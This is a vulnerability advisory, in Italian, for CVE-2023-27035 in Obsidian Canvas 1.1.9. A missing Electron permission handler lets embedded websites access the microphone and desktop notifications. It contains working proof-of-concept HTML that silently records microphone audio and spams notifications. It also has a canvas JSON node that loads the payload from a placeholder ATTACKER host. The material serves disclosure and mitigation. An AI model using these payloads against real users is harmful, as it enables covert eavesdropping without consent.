fivex3/cve-2023-27035
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Tipo di vulnerabilità:
Controllo di accesso non corretto
Descrizione:
Un problema scoperto in Obsidian Canvas 1.1.9 consente a utenti malintenzionati remoti di inviare notifiche desktop, registrare l'audio dell'utente e altri impatti non specificati tramite un sito web incorporato nella pagina canvas.
Impatto:
I siti web incorporati dannosi possono accedere a API WEB sensibili nell'applicazione Obsidian senza il permesso e la conoscenza dell'utente. Ad esempio, possono registrare silenziosamente il microfono dell'utente o inviare notifiche desktop per conto dell'applicazione Obsidian, senza che l'utente ne sia a conoscenza o abbia concesso un permesso esplicito.
La causa principale di questo problema è l'assenza del gestore delle richieste di autorizzazione di sessione (Session Permission Request handler) nell'applicazione.
Prodotto interessato:
Versioni interessate:
Passaggi per riprodurre il problema:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
"edges":[]
}
PoC delle notifiche:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
Mitigazione:
Implementare il gestore delle richieste di autorizzazione di sessione di Electron (Session Permission Request handler) per gestire le richieste di permesso provenienti dalle pagine incorporate. L'accesso alle API Web deve essere concesso esplicitamente dall'utente o negato per impostazione predefinita.
Riferimenti: